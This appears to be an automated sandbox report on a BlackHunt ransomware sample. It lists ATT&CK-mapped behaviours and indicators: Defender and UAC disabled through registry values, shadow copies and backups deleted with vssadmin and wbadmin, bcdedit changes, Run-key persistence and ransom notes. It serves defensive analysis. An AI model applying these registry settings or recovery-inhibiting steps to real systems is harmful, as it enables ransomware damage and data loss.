992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1

Data Destruction

T1485

pid	Process
2264	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

pid	Process
1376	bcdedit.exe
464	bcdedit.exe

Renames multiple (373) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
5116	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\Q:	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File opened (read-only)	\??\E:	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File opened (read-only)	\??\T:	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File opened (read-only)	\??\Y:	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File opened (read-only)	\??\I:	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File opened (read-only)	\??\N:	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File opened (read-only)	\??\B:	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File opened (read-only)	\??\J:	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File opened (read-only)	\??\R:	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File opened (read-only)	\??\A:	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File opened (read-only)	\??\Z:	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File opened (read-only)	\??\V:	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File opened (read-only)	\??\G:	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File opened (read-only)	\??\W:	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File opened (read-only)	\??\X:	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File opened (read-only)	\??\M:	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\L:	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\O:	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File opened (read-only)	\??\S:	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File opened (read-only)	\??\H:	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File opened (read-only)	\??\K:	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File opened (read-only)	\??\U:	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File opened (read-only)	\??\P:	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
23	ip-api.com

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\VideoLAN\VLC\locale\br\#BlackHunt_Private.key	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File opened for modification	C:\Program Files\7-Zip\7z.sfx	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File created	C:\Program Files\Java\jdk-1.8\legal\#BlackHunt_ReadMe.txt	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ach\LC_MESSAGES\#BlackHunt_ReadMe.txt	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\cgg\LC_MESSAGES\#BlackHunt_Private.key	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\javafx\gstreamer.md	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File created	C:\Program Files\Java\jdk-1.8\jre\bin\plugin2\#BlackHunt_ReadMe.txt	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\lib\dt.jar	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ff\#BlackHunt_ReadMe.txt	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File created	C:\Program Files\Java\jre-1.8\bin\plugin2\#BlackHunt_ReadMe.txt	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\lib\javafx-mx.jar	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File created	C:\Program Files\Java\jre-1.8\lib\amd64\#BlackHunt_Private.key	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\javafx\mesa3d.md	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\el\#BlackHunt_ReadMe.hta	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fy\#BlackHunt_ReadMe.txt	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\images\cursors\invalid32x32.gif	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File opened for modification	C:\Program Files\7-Zip\Lang\tt.txt	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ku-ckb.txt	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sa.txt	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\an\LC_MESSAGES\#BlackHunt_ReadMe.hta	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\lib\ant-javafx.jar	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File opened for modification	C:\Program Files\7-Zip\Lang\kab.txt	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\ext\#BlackHunt_ReadMe.hta	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\dom.md	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\javafx\libxml2.md	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\de\#BlackHunt_Private.key	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\jfr.jar	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\javafx\libxslt.md	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File created	C:\Program Files\Java\jre-1.8\lib\fonts\#BlackHunt_Private.key	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\jfr\default.jfc	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ach\#BlackHunt_ReadMe.txt	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\af\LC_MESSAGES\#BlackHunt_Private.key	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ms.txt	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\THIRDPARTYLICENSEREADME.txt	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File opened for modification	C:\Program Files\7-Zip\Lang\nb.txt	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\cmm\LINEAR_RGB.pf	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\lib\deployment.config	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fa\LC_MESSAGES\#BlackHunt_ReadMe.txt	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File opened for modification	C:\Program Files\7-Zip\Lang\lv.txt	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\dynalink.md	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\jfr\#BlackHunt_ReadMe.txt	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\deploy\messages_zh_CN.properties	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File created	C:\Program Files\Java\jre-1.8\legal\#BlackHunt_ReadMe.txt	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\javaws.jar	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File created	C:\Program Files\VideoLAN\VLC\#BlackHunt_Private.key	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ar\LC_MESSAGES\#BlackHunt_ReadMe.txt	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\co\#BlackHunt_ReadMe.hta	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\el\LC_MESSAGES\#BlackHunt_Private.key	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ja.txt	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\ext\zipfs.jar	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fr\#BlackHunt_Private.key	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\COPYRIGHT	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ar.txt	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File created	C:\Program Files\Java\jre-1.8\lib\images\#BlackHunt_Private.key	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ckb\#BlackHunt_ReadMe.hta	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\da\#BlackHunt_ReadMe.hta	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File created	C:\Program Files\Java\jre-1.8\#BlackHunt_ReadMe.hta	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\jcup.md	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sk.txt	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\management\management.properties	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\el\#BlackHunt_ReadMe.txt	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File created	C:\Program Files\Java\#BlackHunt_ReadMe.txt	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File created	C:\Program Files\Java\jdk-1.8\#BlackHunt_Private.key	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\ext\nashorn.jar	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName	vds.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
1352	schtasks.exe

Interacts with shadow copies 2 TTPs 5 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
1400	vssadmin.exe
2384	vssadmin.exe
4016	vssadmin.exe
2244	vssadmin.exe
1124	vssadmin.exe

Modifies registry class 8 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	4560	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
Token: SeRestorePrivilege	4560	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
Token: SeBackupPrivilege	4560	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
Token: SeTakeOwnershipPrivilege	4560	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
Token: SeAuditPrivilege	4560	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
Token: SeSecurityPrivilege	4560	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
Token: SeIncBasePriorityPrivilege	4560	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
Token: SeBackupPrivilege	4212	wbengine.exe
Token: SeRestorePrivilege	4212	wbengine.exe
Token: SeSecurityPrivilege	4212	wbengine.exe
Token: SeBackupPrivilege	4124	vssvc.exe
Token: SeRestorePrivilege	4124	vssvc.exe
Token: SeAuditPrivilege	4124	vssvc.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4560 wrote to memory of 3552	4560	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe	92
PID 4560 wrote to memory of 3552	4560	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe	92
PID 4560 wrote to memory of 2472	4560	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe	94
PID 4560 wrote to memory of 2472	4560	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe	94
PID 4560 wrote to memory of 468	4560	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe	96
PID 4560 wrote to memory of 468	4560	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe	96
PID 4560 wrote to memory of 3896	4560	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe	98
PID 4560 wrote to memory of 3896	4560	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe	98
PID 4560 wrote to memory of 5032	4560	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe	100
PID 4560 wrote to memory of 5032	4560	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe	100
PID 4560 wrote to memory of 1036	4560	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe	193
PID 4560 wrote to memory of 1036	4560	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe	193
PID 4560 wrote to memory of 3308	4560	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe	104
PID 4560 wrote to memory of 3308	4560	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe	104
PID 4560 wrote to memory of 4412	4560	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe	109
PID 4560 wrote to memory of 4412	4560	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe	109
PID 4560 wrote to memory of 1632	4560	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe	108
PID 4560 wrote to memory of 1632	4560	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe	108
PID 5032 wrote to memory of 324	5032	cmd.exe	110
PID 5032 wrote to memory of 324	5032	cmd.exe	110
PID 4560 wrote to memory of 2144	4560	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe	111
PID 4560 wrote to memory of 2144	4560	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe	111
PID 468 wrote to memory of 1912	468	cmd.exe	168
PID 468 wrote to memory of 1912	468	cmd.exe	168
PID 3552 wrote to memory of 1224	3552	cmd.exe	171
PID 3552 wrote to memory of 1224	3552	cmd.exe	171
PID 4560 wrote to memory of 1800	4560	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe	136
PID 4560 wrote to memory of 1800	4560	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe	136
PID 4560 wrote to memory of 4596	4560	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe	118
PID 4560 wrote to memory of 4596	4560	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe	118
PID 4560 wrote to memory of 1492	4560	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe	115
PID 4560 wrote to memory of 1492	4560	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe	115
PID 2472 wrote to memory of 1112	2472	cmd.exe	119
PID 2472 wrote to memory of 1112	2472	cmd.exe	119
PID 4560 wrote to memory of 1624	4560	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe	120
PID 4560 wrote to memory of 1624	4560	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe	120
PID 4560 wrote to memory of 3116	4560	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe	135
PID 4560 wrote to memory of 3116	4560	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe	135
PID 4560 wrote to memory of 2088	4560	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe	121
PID 4560 wrote to memory of 2088	4560	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe	121
PID 4560 wrote to memory of 4872	4560	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe	122
PID 4560 wrote to memory of 4872	4560	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe	122
PID 4560 wrote to memory of 3044	4560	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe	126
PID 4560 wrote to memory of 3044	4560	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe	126
PID 4560 wrote to memory of 3336	4560	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe	123
PID 4560 wrote to memory of 3336	4560	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe	123
PID 4560 wrote to memory of 4224	4560	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe	132
PID 4560 wrote to memory of 4224	4560	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe	132
PID 4560 wrote to memory of 4540	4560	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe	127
PID 4560 wrote to memory of 4540	4560	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe	127
PID 4560 wrote to memory of 3724	4560	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe	138
PID 4560 wrote to memory of 3724	4560	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe	138
PID 4560 wrote to memory of 2864	4560	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe	139
PID 4560 wrote to memory of 2864	4560	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe	139
PID 4560 wrote to memory of 2264	4560	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe	211
PID 4560 wrote to memory of 2264	4560	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe	211
PID 4560 wrote to memory of 4324	4560	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe	153
PID 4560 wrote to memory of 4324	4560	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe	153
PID 4560 wrote to memory of 4008	4560	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe	152
PID 4560 wrote to memory of 4008	4560	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe	152
PID 4560 wrote to memory of 3432	4560	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe	144
PID 4560 wrote to memory of 3432	4560	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe	144
PID 3896 wrote to memory of 220	3896	cmd.exe	190
PID 3896 wrote to memory of 220	3896	cmd.exe	190

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
